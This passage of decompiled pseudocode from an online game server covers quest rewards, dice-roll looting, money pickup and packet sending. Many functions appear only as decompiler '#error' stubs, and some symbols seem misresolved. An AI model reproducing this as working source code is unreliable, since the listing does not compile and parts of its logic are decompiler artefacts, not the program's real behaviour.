2004))(v2); v23 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2004))(v2); (*(void (__thiscall **)(int, _DWORD, int, signed int))(*(_DWORD *)v22 + 68))(v22, *(_WORD *)(v23 + 4), fame, 1); v24 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2004))(v2); ++*(_WORD *)(v24 + 4); ShineObjectClass::ShinePlayer::sp_GainExp(v2, exp, -1, -1); } LOBYTE(v33) = 0; TreasureChestMaker::_TreasureChestMaker(&itemmaker); v25 = "ShineObjectClass::ShinePlayer::sp_KQReward"; LABEL_6: --funcallanalizer.fca_stackpoint; v33 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v25); __security_check_cookie((unsigned int)&cen ^ v32); } //----- (00509C00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_MIDReward(void *this, unsigned __int16 nRewardCnt, int pReward, char nGrade) { void *v4; // esi@1 signed int i; // ebp@8 int v6; // edi@9 ShineReward *v7; // eax@11 ShineReward *v8; // edi@11 signed int v9; // eax@13 int *v10; // eax@14 char *v11; // edi@19 int v12; // ebp@19 int v13; // ecx@20 unsigned int v14; // eax@20 char *v15; // eax@20 ZoneBaseSession *v16; // eax@22 int v17; // edi@23 int v18; // eax@23 int v19; // edi@23 int v20; // eax@23 int v21; // eax@23 char *v22; // [sp+4h] [bp-424h]@6 int nCen; // [sp+18h] [bp-410h]@1 int nFame; // [sp+1Ch] [bp-40Ch]@4 int nExp; // [sp+20h] [bp-408h]@4 int v26; // [sp+24h] [bp-404h]@1 FunctionEntarance _; // [sp+28h] [bp-400h]@1 TreasureChestMaker ItemMaker; // [sp+2Ch] [bp-3FCh]@4 unsigned int v29; // [sp+418h] [bp-10h]@1 int v30; // [sp+424h] [bp-4h]@1 v29 = (unsigned int)&nCen ^ __security_cookie; v4 = this; v26 = pReward; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_MIDReward"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MIDReward"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_MIDReward"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v30 = 0; if ( !v26 || !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1152))(v4) || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1152))(v4) == 3 ) goto LABEL_6; nExp = 0; nCen = 0; nFame = 0; TreasureChestMaker::TreasureChestMaker(&ItemMaker, chest, 7, 0); LOBYTE(v30) = 1; if ( !TreasureChestMaker::tcm_GetItemNum(&ItemMaker) ) { LOBYTE(v30) = 0; TreasureChestMaker::_TreasureChestMaker(&ItemMaker); LABEL_6: v30 = -1; v22 = "ShineObjectClass::ShinePlayer::sp_MIDReward"; goto LABEL_7; } for ( i = 0; i < nRewardCnt; ++i ) { v6 = *(_DWORD *)(v26 + 4 * i); if ( *(_BYTE *)(v6 + 32) == nGrade ) { if ( RandomBox::rb_1000(&rndbox) < *(_WORD *)(v6 + 35) ) { v7 = RewardData::rd_FindHandle(&rewarddata, *(_WORD *)(v6 + 33)); v8 = v7; if ( v7 ) { switch ( v7->RewardType ) { case 1: v9 = ShineObjectClass::ShinePlayer::sp_GetItemWhoEquip_ClassGroup(v4); TreasureChestMaker::tcm_ItemMake(&ItemMaker, 7, v8, v9); continue; case 2: nExp += v7->Quantity; v10 = &nExp; goto LABEL_17; case 3: nCen += v7->Quantity; v10 = &nCen; goto LABEL_17; case 4: nFame += v7->Quantity; v10 = &nFame; LABEL_17: (*(void (__thiscall **)(void *, int *))(*(_DWORD *)v4 + 3168))(v4, v10); break; default: continue; } } } } } v11 = gpp.pp_Buffer; v12 = TreasureChestMaker::tcm_PutInto( &ItemMaker, 0, (PROTO_ITEM_CMD *)gpp.pp_Buffer + 36, 0, (TreasureChestLocationManager *)((char *)v4 + 139627), 2u); if ( v12 ) { *(_WORD *)v11 = 22549; *((_DWORD *)v11 + 4) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v11 + 7) = *((_WORD *)v4 + 2); *((_WORD *)v11 + 12) = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4) + 4); *(_DWORD *)(v11 + 6) = nCen; *(_DWORD *)(v11 + 10) = 0; *(_DWORD *)(v11 + 2) = nFame; v13 = *(_DWORD *)((char *)v4 + 98); v14 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v14; v15 = (char *)&namestring + 256 * v14; *(_DWORD *)v15 = *(_DWORD *)v13; *((_DWORD *)v15 + 1) = *(_DWORD *)(v13 + 4); *((_DWORD *)v15 + 2) = *(_DWORD *)(v13 + 8); v15[12] = 0; *((_WORD *)v11 + 13) = BTree::operator__(&mapdatabox.mdb_btree, v15); *((_DWORD *)v11 + 7) = 0; *((_DWORD *)v11 + 8) = 0; *((_DWORD *)v11 + 5) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, v12 + 37) ) { v16 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v16); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_MIDReward : Packet Too Long", v12 + 37); } v17 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4); v18 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); (*(void (__thiscall **)(int, _DWORD, int, _DWORD, signed int))(*(_DWORD *)v17 + 64))( v17, *(_WORD *)(v18 + 4), nCen, 0, 1); v19 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); v20 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); (*(void (__thiscall **)(int, _DWORD, int, signed int))(*(_DWORD *)v19 + 68))(v19, *(_WORD *)(v20 + 4), nFame, 1); v21 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); ++*(_WORD *)(v21 + 4); ShineObjectClass::ShinePlayer::sp_GainExp(v4, nExp, -1, -1); } LOBYTE(v30) = 0; TreasureChestMaker::_TreasureChestMaker(&ItemMaker); v30 = -1; v22 = "ShineObjectClass::ShinePlayer::sp_MIDReward"; LABEL_7: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v22); __security_check_cookie((unsigned int)&nCen ^ v29); } //----- (00509F90) -------------------------------------------------------- #error "509F90: undefined or illegal type '#593' (funcsize=78)" //----- (0050A0B0) -------------------------------------------------------- #error "50A0B0: undefined or illegal type '#593' (funcsize=60)" //----- (0050A190) -------------------------------------------------------- #error "50A190: undefined or illegal type '#593' (funcsize=74)" //----- (0050A2A0) -------------------------------------------------------- #error "50A2A0: undefined or illegal type '#593' (funcsize=60)" //----- (0050A380) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (0050A3D0) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, ItemOperateElement *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy(v3, ele, 0x78u); return 1; } // 50A3E5: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (0050A400) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (0050A520) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_KQRewardStruct(void *this, int kqe) { void *v2; // esi@1 int v3; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_KQRewardStruct"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_KQRewardStruct"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (int)KQRewardDataBox::operator__(&kqreward, *(_WORD *)(kqe + 115)); if ( v3 ) ShineObjectClass::ShinePlayer::sp_KQReward(v2, v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_KQRewardStruct"); } //----- (0050A5D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_KQRewardIndex(void *this, char *idx) { void *v2; // esi@1 int v3; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_KQRewardIndex"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_KQRewardIndex"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (int)KQRewardDataBox::operator__(&kqreward, idx); if ( v3 ) ShineObjectClass::ShinePlayer::sp_KQReward(v2, v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_KQRewardIndex"); } //----- (0050A680) -------------------------------------------------------- int __thiscall ItemOperateList::ItemOperateList(int this) { int v1; // esi@1 signed int v2; // edx@1 signed int v3; // eax@1 int v4; // edi@1 signed int v5; // ebx@1 int v6; // ecx@3 int v7; // ebp@3 int v8; // ecx@3 int v9; // ecx@6 int v10; // ebp@6 int v11; // ecx@6 int v12; // ecx@9 int v13; // ebp@9 int v14; // ecx@9 int v15; // ecx@12 int v16; // ebp@12 int v17; // ecx@12 int v18; // ecx@15 int v19; // ebp@15 int v20; // ecx@15 v1 = this; *(_DWORD *)this = List::_vftable_; *(_DWORD *)(this + 16) = 0; List::l_MakeList((List *)this, 0x28u); *(_DWORD *)v1 = List::_vftable_; _eh_vector_constructor_iterator_( (void *)(v1 + 24), 0x78u, 40, (void (__thiscall *)(void *))MoveManager::MoveManager, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v2 = 2; v3 = 36; v4 = v1 + 144; v5 = 8; do { if ( v2 - 2 < *(_WORD *)(v1 + 4) ) { v6 = *(_DWORD *)(v1 + 8); v7 = *(_DWORD *)(v6 + v3 - 36); v8 = v6 + v3 - 36; if ( !v7 ) *(_DWORD *)v8 = v4 - 120; } if ( v2 - 1 < *(_WORD *)(v1 + 4) ) { v9 = *(_DWORD *)(v1 + 8); v10 = *(_DWORD *)(v9 + v3 - 24); v11 = v9 + v3 - 24; if ( !v10 ) *(_DWORD *)v11 = v4; } if ( v2 < *(_WORD *)(v1 + 4) ) { v12 = *(_DWORD *)(v1 + 8); v13 = *(_DWORD *)(v12 + v3 - 12); v14 = v12 + v3 - 12; if ( !v13 ) *(_DWORD *)v14 = v4 + 120; } if ( v2 + 1 < *(_WORD *)(v1 + 4) ) { v15 = *(_DWORD *)(v1 + 8); v16 = *(_DWORD *)(v15 + v3); v17 = v3 + v15; if ( !v16 ) *(_DWORD *)v17 = v4 + 240; } if ( v2 + 2 < *(_WORD *)(v1 + 4) ) { v18 = *(_DWORD *)(v1 + 8); v19 = *(_DWORD *)(v18 + v3 + 12); v20 = v18 + v3 + 12; if ( !v19 ) *(_DWORD *)v20 = v4 + 360; } v3 += 60; v2 += 5; v4 += 600; --v5; } while ( v5 ); return v1; } // 65D868: using guessed type int (__stdcall *List_ItemOperateElement____vftable_[3])(__int16 hnd); //----- (0050A7B0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_DicePicking(void *this, int a2) { void *v2; // esi@1 int v3; // ebx@1 int v5; // eax@3 int v6; // edx@3 Raid *v7; // eax@4 unsigned __int16 v8; // ax@7 v2 = this; v3 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1348))(a2); if ( !v3 ) { (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 1720))(v2, 835, 65535); return 1; } v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2748))(v2); v6 = *(_DWORD *)v2; if ( v5 ) { v7 = (Raid *)(*(int (__thiscall **)(void *))(v6 + 2748))(v2); if ( Raid::IsItemDiceGameIng(v7) == 1 ) { (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 1720))(v2, 845, 65535); return 1; } } else { if ( (unsigned __int16)(*(int (__thiscall **)(void *))(v6 + 1356))(v2) == -1 ) return 0; v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1356))(v2); if ( CParty::IsItemDiceGameIng(&partycontainer, v8) == 1 ) { (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 1720))(v2, 845, 65535); return 1; } } if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1340))(a2) ) { (*(void (__thiscall **)(void *, int, int, _DWORD))(*(_DWORD *)v2 + 1944))(v2, a2, v3, *(_WORD *)(a2 + 4)); return 1; } if ( (unsigned __int8)(*(int (__thiscall **)(int, void *))(*(_DWORD *)a2 + 2792))(a2, v2) == 1 ) { (*(void (__thiscall **)(_DWORD, signed int, _DWORD))(*(_DWORD *)v2 + 1720))(v2, 846, 65535); return 1; } return 0; } //----- (0050A8D0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineDropItem::so_IsDiceGamePlay(ShineObjectClass::ShineDropItem *this) { return CGambleObject::go_Get_MaxEnterPlayerCnt(&this->sdi_DicePick.DiceGameStart); } //----- (0050A8E0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineDropItem::sd_GetPlayerDiceGameResult(ShineObjectClass::ShineDropItem *this) { signed int v1; // edi@1 char *v2; // esi@1 unsigned int v3; // eax@2 char *v4; // eax@2 int v5; // ecx@2 int v6; // edx@2 char *v7; // ecx@2 int result; // eax@2 unsigned int v9; // edx@2 unsigned int v10; // edx@9 char *v11; // ecx@9 v1 = 0; v2 = (char *)this->sdi_DicePick.MemberInfos; do { v3 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v3; v4 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v3]]; v5 = *((_DWORD *)v4 + 8193) & (*((_DWORD *)v4 + 8192) + 1); *((_DWORD *)v4 + 8192) = v5; v6 = *(_WORD *)&v4[2 * v5] % 100; v7 = v2; result = v6 + 1; v9 = 0; while ( result != *((_WORD *)v7 + 1) ) { if ( *(_WORD *)v7 != -1 ) { ++v9; v7 += 4; if ( v9 < 0x28 ) continue; } return result; } ++v1; } while ( v1 < 30 ); result = 1; do { v10 = 0; v11 = v2; while ( result != *((_WORD *)v11 + 1) ) { if ( *(_WORD *)v11 != -1 ) { ++v10; v11 += 4; if ( v10 < 0x28 ) continue; } return result; } ++result; } while ( result < 100 ); AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineDropItem::sd_GetPlayerDiceGameResult", 0); return 0; } //----- (0050A9B0) -------------------------------------------------------- #error "50A9B0: undefined or illegal type '#593' (funcsize=77)" //----- (0050AAA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDropItem::sd_DropTimeReStart(ShineObjectClass::ShineDropItem *this) { ShineObjectClass::ShineDropItem *v1; // esi@1 ItemDataBox::ItemDataBoxIndex *v2; // ecx@1 unsigned int v3; // edi@3 v1 = this; v2 = ItemDataBox::operator__(&itemdatabox, this->sdi_ItemOnField.iti_itemstruct.itemid); if ( v2 != 0 ) { v3 = clockwatch.cw_CurrTick; v1->sdi_LootLostTick = clockwatch.cw_CurrTick + ((unsigned int)(10 * v2->dataserv->looting * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6); v1->sdi_EraseTime = v3 + ((unsigned int)(10 * v2->dataserv->Vanish * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6); } else { AssertClass::ac_AssertFail(&shineassert, "ShineDropItem::sd_DropTimeReStart : No Item Data", 0); } } //----- (0050AB20) -------------------------------------------------------- #error "50AB20: undefined or illegal type '#593' (funcsize=59)" //----- (0050ABE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_Send_NC_ITEM_SOMEONEPICK_CMD(void *this, __int16 nItemHnd) { char *v2; // esi@1 void *v3; // edi@1 int v4; // eax@1 int v5; // ST04_4@1 int v6; // eax@1 AxialListPacketBroadcast4ItemPickUp alchat; // [sp+8h] [bp-18h]@1 int v8; // [sp+1Ch] [bp-4h]@1 v2 = gpp.pp_Buffer; v3 = this; *(_WORD *)gpp.pp_Buffer = 12308; v4 = (*(int (**)(void))(*(_DWORD *)this + 1384))(); *(_DWORD *)(v2 + 2) = *(_DWORD *)v4; *(_DWORD *)(v2 + 6) = *(_DWORD *)(v4 + 4); *(_DWORD *)(v2 + 10) = *(_DWORD *)(v4 + 8); *(_DWORD *)(v2 + 14) = *(_DWORD *)(v4 + 12); *((_WORD *)v2 + 9) = *((_WORD *)v3 + 69724); *((_DWORD *)v2 + 5) = *((_DWORD *)v3 + 34863); AxialListPacketBroadcast4ItemPickUp::AxialListPacketBroadcast4ItemPickUp(&alchat, &gpp, 24); v5 = *(_DWORD *)((char *)v3 + 78); v8 = 0; v6 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v3, v6, v5, 0, 0, (int)&alchat, 0, 65535); v8 = -1; AxialListPacketBroadcast4ItemPickUp::_AxialListPacketBroadcast4ItemPickUp(&alchat); } //----- (0050ACA0) -------------------------------------------------------- #error "50ACA0: undefined or illegal type '#734' (funcsize=182)" //----- (0050AF20) -------------------------------------------------------- #error "50AF20: undefined or illegal type '#734' (funcsize=140)" //----- (0050B100) -------------------------------------------------------- #error "50B100: undefined or illegal type '#593' (funcsize=232)" //----- (0050B410) -------------------------------------------------------- #error "50B410: undefined or illegal type '#593' (funcsize=180)" //----- (0050B680) -------------------------------------------------------- #error "50B680: undefined or illegal type '#593' (funcsize=292)" //----- (0050BA60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_PickupMoney(void *this, unsigned int money) { void *v2; // esi@1 __int16 v3; // dx@1 char *v4; // edi@1 ZoneBaseSession *v5; // eax@3 unsigned int v6; // edx@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_PickupMoney"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_PickupMoney"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *, unsigned int *))(*(_DWORD *)v2 + 3168))(v2, &money); v3 = *((_WORD *)v2 + 2); *(_QWORD *)((char *)v2 + 32221) += money; v4 = gpp.pp_Buffer; *((_WORD *)gpp.pp_Buffer + 1) = v3; *((_DWORD *)v4 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_WORD *)v4 = 13368; *((_DWORD *)v4 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *((_DWORD *)v4 + 3) = -1; *((_DWORD *)v4 + 4) = -1; *((_DWORD *)v4 + 5) = money; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 24) ) { v5 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v5); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_PickupMoney : Packet Too Long", 24); } (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 1092))(v2); (*(void (__thiscall **)(char *, signed int))(*((_DWORD *)v2 + 14470) + 24))((char *)v2 + 57880, 1); v6 = money; *((_WORD *)v2 + 69724) = unk_131DF0C8; *((_DWORD *)v2 + 34863) = v6; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_PickupMoney"); } //----- (0050BBC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_IncDecMoney(void *this, unsigned int money, char Positive) { void *v3; // esi@1 unsigned int v4; // ecx@1 unsigned int v5; // edx@1 int v6; // edx@2 int v7; // ecx@2 unsigned __int64 v8; // kr10_8@2 unsigned __int64 v9; // kr18_8@3 __int16 v10; // dx@4 char *v11; // edi@4 ZoneBaseSession *v12; // eax@6 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_IncDecMoney"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_IncDecMoney"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)((char *)v3 + 32225); v5 = *(_DWORD *)((char *)v3 + 32221); if ( Positive ) { v8 = money + __PAIR__(v4, v5); v7 = v8 >> 32; v6 = v8; } else { v9 = __PAIR__(v4, v5) - money; v7 = v9 >> 32; v6 = v9; } *(_DWORD *)((char *)v3 + 32221) = v6; v10 = *((_WORD *)v3 + 2); *(_DWORD *)((char *)v3 + 32225) = v7; v11 = gpp.pp_Buffer; *((_WORD *)gpp.pp_Buffer + 1) = v10; *((_DWORD *)v11 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); *(_WORD *)v11 = 13434; *((_DWORD *)v11 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); *((_DWORD *)v11 + 3) = money; v11[16] = Positive; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 17) ) { v12 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v12); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_IncDecMoney : Packet Too Long", 17); } (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 1092))(v3); (*(void (__thiscall **)(char *, signed int))(*((_DWORD *)v3 + 14470) + 24))((char *)v3 + 57880, 1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_IncDecMoney"); } //----- (0050BD10) -------------------------------------------------------- #error "50BD10: undefined or illegal type '#593' (funcsize=63)" //----- (0050BE00) -------------------------------------------------------- #error "50BE00: undefined or illegal type '#593' (funcsize=64)" //----- (0050BEF0) -------------------------------------------------------- #error "50BEF0: undefined or illegal type '#593' (funcsize=63)" //----- (0050BFE0) -------------------------------------------------------- #error "50BFE0: undefined or illegal type '#593' (funcsize=64)" //----- (0050C0D0) -------------------------------------------------------- #error "50C0D0: undefined or illegal type '#593' (funcsize=63)" //----- (0050C1C0) -------------------------------------------------------- #error "50C1C0: undefined or illegal type '#593' (funcsize=64)" //----- (0050C2B0) -------------------------------------------------------- #error "50C2B0: undefined or illegal type '#593' (funcsize=58)" //----- (0050C390) -------------------------------------------------------- #error "50C390: undefined or illegal type '#593' (funcsize=57)" //----- (0050C470) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_itempickresult(void *this, __int16 error, __int16 handle) { void *v3; // esi@1 char *v4; // eax@1 int v5; // eax@2 __int16 v6; // dx@3 int v7; // eax@7 FunctionEntarance _; // [sp+4h] [bp-118h]@1 __int16 arg; // [sp+8h] [bp-114h]@3 __int16 v10; // [sp+Ah] [bp-112h]@3 unsigned int v11; // [sp+10Ch] [bp-10h]@1 int v12; // [sp+118h] [bp-4h]@1 v3 = this; v11 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_itempickresult"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_itempickresult"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_itempickresult"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12298; v12 = 0; *((_WORD *)v4 + 5) = handle; if ( error == 833 ) { *((_WORD *)v4 + 1) = *((_WORD *)v3 + 69724); *((_DWORD *)v4 + 1) = *((_DWORD *)v3 + 34863); *((_WORD *)v4 + 4) = 833; v5 = *(_DWORD *)((char *)v3 + 98); if ( v5 ) { v6 = *((_WORD *)v3 + 69724); v10 = *((_WORD *)v3 + 2); arg = v6; Movie::CinemaComplex::cc_ScriptInterrupt( *(Movie::CinemaComplex **)(v5 + 68), ScriptInterrupt::ScriptInterruptManager::sim_PickUpItem, (ScriptInterrupt::InterruptHappenArgument *)&arg); } } else { *((_WORD *)v4 + 1) = -1; *((_DWORD *)v4 + 1) = 0; *((_WORD *)v4 + 4) = error; } if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v3, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_itempickresult : Packet Too Long", 12); } --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_itempickresult"); __security_check_cookie((unsigned int)&_ ^ v11); } //----- (0050C5F0) -------------------------------------------------------- #error "50C5F0: undefined or illegal type '#593' (funcsize=342)" //----- (0050CB00) -------------------------------------------------------- #error "50CB00: undefined or illegal type '#593' (funcsize=216)" //----- (0050CE10) -------------------------------------------------------- #error "50CE10: undefined or illegal type '#593' (funcsize=122)" //----- (0050CF80) -------------------------------------------------------- #error "50CF80: undefined or illegal type '#593' (funcsize=196)" //----- (0050D1D0) -------------------------------------------------------- #error "50D1D0: undefined or illegal type '#593' (funcsize=91)" //----- (0050D2D0) -------------------------------------------------------- void __thiscall ItemLotInspector::ili_Set(ItemLotInspector *this, int action, unsigned __int16 itemid) { char *v3; // eax@1 v3 = &this->gap4[248 * this->ili_ArrayPointer.value]; this->ili_Action = action; *(_DWORD *)v3 = action; *((_WORD *)v3 + 2) = itemid; } //----- (0050D300) -------------------------------------------------------- void __thiscall ItemLotInspector::ili_SetFrom(ItemLotInspector *this, int sub, ITEM_INVEN *fromloc, SHINE_ITEM_STRUCT *itemstruct) { char *v4; // eax@1 v4 = &this->gap4[248 * this->ili_ArrayPointer.value] + 106 * sub; v4[6] = 1; memcpy(v4 + 9, itemstruct, 0x67u); *(_WORD *)(v4 + 7) = fromloc->Inven; } //----- (0050D340) -------------------------------------------------------- void __thiscall ItemLotInspector::ili_SetTo(ItemLotInspector *this, int sub, ITEM_INVEN *toloc) { char *v3; // eax@1 v3 = &this->gap4[248 * this->ili_ArrayPointer.value]; v3[8 * sub + 220] = 1; *(_WORD *)&v3[8 * sub + 221] = toloc->Inven; } //----- (0050D370) -------------------------------------------------------- #error "50D370: undefined or illegal type '#593' (funcsize=16)" //----- (0050D3B0) -------------------------------------------------------- CIDEB_Element *__thiscall ChargedItemEffectDataBox::cideb_GetItemID(ChargedItemEffectDataBox *this, unsigned __int16 itemid) { int v2; // edx@1 int v3; // eax@1 CIDEB_Element *v4; // esi@2 CIDEB_Element *v5; // 